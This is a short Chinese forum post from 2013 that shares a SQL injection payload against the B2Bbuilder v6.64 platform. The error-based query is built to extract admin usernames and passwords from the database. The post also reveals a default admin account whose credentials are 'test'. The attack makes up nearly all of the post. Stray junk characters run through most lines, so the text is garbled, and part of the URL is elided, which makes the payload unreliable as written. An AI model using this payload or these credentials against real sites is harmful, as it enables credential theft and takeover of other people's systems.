测试的程序版本为：B2Bbuilder_v6.64 m( _% ]4 d8 `( B) B1 x, i
: c- v& a* f: D7 ^
5 {/ e I8 x, }
http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%286 R& L* |/ }3 {- [
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password' a/ j/ Z' R5 _6 i7 H
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1) c1 j+ n/ k7 P, o9 u h6 A
%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%295 h* @& S& f0 b+ |
*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1* G: U; L# Z4 o0 n5 e. L2 m
- E3 Q8 M3 M8 G# l4 |
这个B2B程序还有一个默认的管理员帐号，帐号密码都是test6 }3 f3 C% V$ ?& e" U
l! o' ]( R( U B
|
发表于 2013-7-26 12:44:48
收藏
支持
反对